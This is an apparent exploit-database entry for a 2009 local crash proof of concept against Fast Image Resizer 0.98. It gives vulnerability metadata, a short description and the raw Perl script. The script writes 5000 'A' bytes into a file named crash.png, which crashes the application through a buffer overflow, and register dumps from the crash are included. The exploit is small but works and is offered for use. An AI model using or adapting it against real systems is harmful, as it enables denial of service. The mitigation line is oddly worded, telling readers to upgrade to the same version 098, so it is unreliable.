header-logo
Suggest Exploit
vendor:
Fast Image Resizer
by:
Niko
7,8
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Fast Image Resizer
Affected Version From: 0.98
Affected Version To: 0.98
Patch Exists: YES
Related CWE: N/A
CPE: a:adionsoft:fast_image_resizer
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2009

Fast Image Resizer 098 Local Crash Poc

A buffer overflow vulnerability exists in Fast Image Resizer 098 which allows an attacker to cause a denial of service condition by sending a specially crafted .png file. This can be exploited by an attacker to crash the application, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of Fast Image Resizer 098
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Title : Fast Image Resizer 098 Local Crash Poc
# Author: Niko
# Tested: Windows XP SP3 (En)
# Apps  : http://adionsoft.net/fastimageresize/FastImageResizer_098.exe
#
# EAX 00000000
# ECX 010422F8
# EDX 00000000
# EBX 00000000
# ESP 0012F658
# EBP 00000000
# ESI 010421A8
# EDI 01050000
# EIP 019849C1 fastim_1.019849C1
#########################################
my $file= "crash.png";
my $junk = "\x41" x 5000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "png file created successfully\n";

Navigation

Suggest Exploit

Services By CQR